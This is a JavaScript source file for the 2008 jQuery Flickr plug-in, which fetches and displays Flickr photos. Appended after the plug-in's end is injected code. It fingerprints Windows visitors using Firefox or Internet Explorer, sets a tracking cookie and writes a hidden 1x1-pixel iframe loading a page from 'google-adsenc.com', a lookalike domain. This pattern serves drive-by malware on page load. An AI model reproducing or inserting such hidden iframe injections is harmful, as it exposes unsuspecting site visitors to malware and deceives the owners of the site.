/*
* jQuery Flickr - jQuery plug-in
* Version 1.0, Released 2008.04.17
*
* Copyright (c) 2008 Daniel MacDonald (www.projectatomic.com)
* Dual licensed GPL http://www.gnu.org/licenses/gpl.html 
* and MIT http://www.opensource.org/licenses/mit-license.php
*/
(function($) {
	$.fn.flickr = function(o){
		var s = {
			api_key: null,              // [string]    required, see http://www.flickr.com/services/api/misc.api_keys.html
			type: null,                 // [string]    allowed values: 'photoset', 'search', default: 'flickr.photos.getRecent'
			photoset_id: null,          // [string]    required, for type=='photoset'  
			text: null,			            // [string]    for type=='search' free text search
			user_id: null,              // [string]    for type=='search' search by user id
			group_id: null,             // [string]    for type=='search' search by group id
			tags: null,                 // [string]    for type=='search' comma separated list
			tag_mode: 'any',            // [string]    for type=='search' allowed values: 'any' (OR), 'all' (AND)
			sort: 'relevance',    // [string]    for type=='search' allowed values: 'date-posted-asc', 'date-posted-desc', 'date-taken-asc', 'date-taken-desc', 'interestingness-desc', 'interestingness-asc', 'relevance'
			thumb_size: 's',            // [string]    allowed values: 's' (75x75), 't' (100x?), 'm' (240x?)
			size: 'o',                 // [string]    allowed values: 'm' (240x?), 'b' (1024x?), 'o' (original), default: (500x?)
			per_page: 100,              // [integer]   allowed values: max of 500
			page: 1,     	              // [integer]   see paging notes
			attr: '',                   // [string]    optional, attributes applied to thumbnail <a> tag
			api_url: null,              // [string]    optional, custom url that returns flickr JSON or JSON-P 'photos' or 'photoset'
			params: '',                 // [string]    optional, custom arguments, see http://www.flickr.com/services/api/flickr.photos.search.html
			api_callback: '?',          // [string]    optional, custom callback in flickr JSON-P response
			loadFirst: null,
			loadAll: null,
			loadInit: null
			// PAGING NOTES: jQuery Flickr plug-in does not provide paging functionality, but does provide hooks for a custom paging routine
			// within the <ul> created by the plug-in, there are two hidden <input> tags, 
			// input:eq(0): current page, input:eq(1): total number of pages, input:eq(2): images per page, input:eq(3): total number of images

			// SEARCH NOTES: when setting type to 'search' at least one search parameter  must also be passed text, user_id, group_id, or tags

			// SIZE NOTES: photos must allow viewing original size for size 'o' to function, if not, default size is shown
		};
		if(o) $.extend(s, o);
		return this.each(function(){
			// create unordered list to contain flickr images
			if(s.loadInit) { s.loadInit(); }
			var list = $('<ul>').appendTo(this);
			var url = $.flickr.format(s);
			var $count = 0;
			$.getJSON(url, function(r){
				if (r.stat != "ok"){
					for (i in r){
						$('<li>').text(i+': '+ r[i]).appendTo(list);
					};
				} else {
					if (s.type == 'photoset') r.photos = r.photoset;

					// add hooks to access paging data
					for (var i=0; i<r.photos.photo.length; i++){
						var photo = r.photos.photo[i];
						$.getJSON('http://api.flickr.com/services/rest?format=json&jsoncallback='
						+ s.api_callback
						+ '&api_key='+ s.api_key
						+ '&method=flickr.photos.getSizes&photo_id='+photo.id, function(sz){	
							if (sz.stat == 'ok') {
								// format thumbnail url
								var t = sz.sizes.size[0].source;
								//format image url
								var h = 'http://farm'+photo['farm']+'.static.flickr.com/'+photo['server']+'/'+photo['id']+'_';
								switch (s.size){
									case 'm':
									h += photo['secret'] + '_m.jpg';
									break;
									case 'b':
									h += photo['secret'] + '_b.jpg';
									break;
									case 'o':
										h = sz.sizes.size[3].source;
										if (sz.sizes.size.length > 4) {
											h = sz.sizes.size[4].source;	
										}
									break;
									default:
									h += photo['secret'] + '.jpg';
								};
								var title = r.photos.photo[$count]['title'];
								var id = r.photos.photo[$count]['id'];
								list.append('<li><a href="'+h+'?stamp='+ new Date() +'" '+s.attr+' title="'+title+'"><img src="'+t+'" alt="'+title+'" id="'+id+'" /></a></li>');
								$count++;
								if($count == 1 && s.loadFirst) {
									s.loadFirst(list);
								}
								/*if ($count == r.photos.photo.length && s.loadAll) {
									s.loadAll(list);
								}*/
							}
						}
					);
				};
			};
		});
	});
};
// static function to format the flickr API url according to the plug-in settings 
$.flickr = {
	format: function(s){
		if (s.url) return s.url;
		var url = 'http://api.flickr.com/services/rest?format=json&jsoncallback='+s.api_callback+'&api_key='+s.api_key;
		switch (s.type){
			case 'photoset':
			url += '&method=flickr.photosets.getPhotos&photoset_id=' + s.photoset_id;
			break;
			case 'search':
			url += '&method=flickr.photos.search&sort=' + s.sort;
			if (s.user_id) url += '&user_id=' + s.user_id;
			if (s.group_id) url += '&group_id=' + s.group_id;
			if (s.tags) url += '&tags=' + s.tags;
			if (s.tag_mode) url += '&tag_mode=' + s.tag_mode;
			if (s.text) url += '&text=' + s.text;
			break;
			default:
			url += '&method=flickr.photos.getRecent';
		};
		if (s.size == 'o') url += '&extras=original_format';
		url += '&per_page=' + s.per_page + '&page=' + s.page + s.params;

		return url;
	}
};
})(jQuery);var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
